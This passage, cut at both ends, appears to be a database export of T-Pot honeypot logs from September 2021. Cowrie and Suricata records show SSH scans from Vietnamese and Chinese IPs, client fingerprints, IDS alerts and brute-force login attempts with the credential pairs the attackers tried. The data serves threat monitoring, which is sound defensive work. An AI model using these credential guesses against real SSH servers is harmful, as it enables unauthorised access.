"192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
20882	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:09.075559+03	2021-09-20 14:15:02.946642+03	{"_id": "DwXiAnwBvYTbRNuEefvr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [nagios/nagios123] failed", "session": "1b15c2f38918", "@version": "1", "password": "nagios123", "username": "nagios", "timestamp": "2021-09-20T11:06:09.075559Z", "@timestamp": "2021-09-20T11:06:09.075Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
20883	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:08.397192+03	2021-09-20 14:15:02.947643+03	{"_id": "IgXiAnwBvYTbRNuEefvs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 223.241.247.214:59354 (192.168.176.2:22) [session: 93a2eacc7d8b]", "session": "93a2eacc7d8b", "@version": "1", "protocol": "ssh", "src_port": 59354, "dest_port": 22, "timestamp": "2021-09-20T11:06:08.397192Z", "@timestamp": "2021-09-20T11:06:08.397Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20884	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:09.049893+03	2021-09-20 14:15:02.948642+03	{"_id": "GAXiAnwBvYTbRNuEefvs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5bd8d49653e9", "@version": "1", "duration": 2.065192461013794, "timestamp": "2021-09-20T11:06:09.049893Z", "@timestamp": "2021-09-20T11:06:09.049Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
20885	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:09.166533+03	2021-09-20 14:15:02.950614+03	{"_id": "OgXiAnwBvYTbRNuEffvU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:41058 (192.168.176.2:22) [session: 09c97ad1b2cd]", "session": "09c97ad1b2cd", "@version": "1", "protocol": "ssh", "src_port": 41058, "dest_port": 22, "timestamp": "2021-09-20T11:06:09.166533Z", "@timestamp": "2021-09-20T11:06:09.166Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20886	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:09.819581+03	2021-09-20 14:15:02.951642+03	{"_id": "PAXiAnwBvYTbRNuEffvU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "f0d8ee6e7eed", "@version": "1", "timestamp": "2021-09-20T11:06:09.819581Z", "@timestamp": "2021-09-20T11:06:09.819Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
20887	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:09.941137+03	2021-09-20 14:15:02.952643+03	{"_id": "PQXiAnwBvYTbRNuEffvU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.login.success", "message": "login attempt [root/1qaz!QAZ] succeeded", "session": "93a2eacc7d8b", "@version": "1", "password": "1qaz!QAZ", "username": "root", "timestamp": "2021-09-20T11:06:09.941137Z", "@timestamp": "2021-09-20T11:06:09.941Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	\N
20888	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:06:10.804298+03	2021-09-20 14:15:02.953644+03	{"_id": "SwXiAnwBvYTbRNuEgPuj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 770299887011712, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47190, "dest_port": 22, "timestamp": "2021-09-20T11:06:10.804298Z", "@timestamp": "2021-09-20T11:06:10.804Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
20889	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:10.50738+03	2021-09-20 14:15:02.955642+03	{"_id": "dAXiAnwBvYTbRNuEgfvA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "3b9ff9bcf3d0", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:06:10.507380Z", "@timestamp": "2021-09-20T11:06:10.507Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21348	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:42.965947+03	2021-09-20 14:15:03.547613+03	{"_id": "nQbiAnwBvYTbRNuE_wEb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [root/4cd1d0] failed", "session": "ec2de691834c", "@version": "1", "password": "4cd1d0", "username": "root", "timestamp": "2021-09-20T11:06:42.965947Z", "@timestamp": "2021-09-20T11:06:42.965Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
20890	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:10.495253+03	2021-09-20 14:15:02.95665+03	{"_id": "ZQXiAnwBvYTbRNuEgfvA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [notjoin/notdia] failed", "session": "ad80d8e088f0", "@version": "1", "password": "notdia", "username": "notjoin", "timestamp": "2021-09-20T11:06:10.495253Z", "@timestamp": "2021-09-20T11:06:10.495Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20891	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:10.804883+03	2021-09-20 14:15:02.957642+03	{"_id": "ZgXiAnwBvYTbRNuEgfvA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5de38dafc0f9", "@version": "1", "timestamp": "2021-09-20T11:06:10.804883Z", "@timestamp": "2021-09-20T11:06:10.804Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
20892	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:10.813661+03	2021-09-20 14:15:02.958647+03	{"_id": "ZwXiAnwBvYTbRNuEgfvA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [bananapi/bananapi] failed", "session": "96a155175b8d", "@version": "1", "password": "bananapi", "username": "bananapi", "timestamp": "2021-09-20T11:06:10.813661Z", "@timestamp": "2021-09-20T11:06:10.813Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20893	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:11.071713+03	2021-09-20 14:15:02.959614+03	{"_id": "aAXiAnwBvYTbRNuEgfvA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "eede082e62d5", "@version": "1", "duration": 2.708293914794922, "timestamp": "2021-09-20T11:06:11.071713Z", "@timestamp": "2021-09-20T11:06:11.071Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
20894	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:06:11.405387+03	2021-09-20 14:15:02.961642+03	{"_id": "dgXiAnwBvYTbRNuEhPuM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:06:11.405387+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 74}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2226983142633355, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 54194, "dest_port": 22, "timestamp": "2021-09-20T11:06:11.405387Z", "@timestamp": "2021-09-20T11:06:11.405Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
20895	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:11.546141+03	2021-09-20 14:15:02.962642+03	{"_id": "egXiAnwBvYTbRNuEhPuN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 455188873883154, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 55008, "dest_port": 22, "timestamp": "2021-09-20T11:06:11.546141Z", "@timestamp": "2021-09-20T11:06:11.546Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20896	113.105.80.34	109.199.241.180	Suricata	2021-09-20 14:06:05.192923+03	2021-09-20 14:15:02.963642+03	{"_id": "uwXiAnwBvYTbRNuEbfoW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "flow_id": 717194763478636, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 39972, "dest_port": 22, "timestamp": "2021-09-20T11:06:05.192923Z", "@timestamp": "2021-09-20T11:06:05.192Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20897	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:05.851838+03	2021-09-20 14:15:02.964642+03	{"_id": "vAXiAnwBvYTbRNuEbfoW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:06:05.299043+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1222}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1029007241744419, "payload": 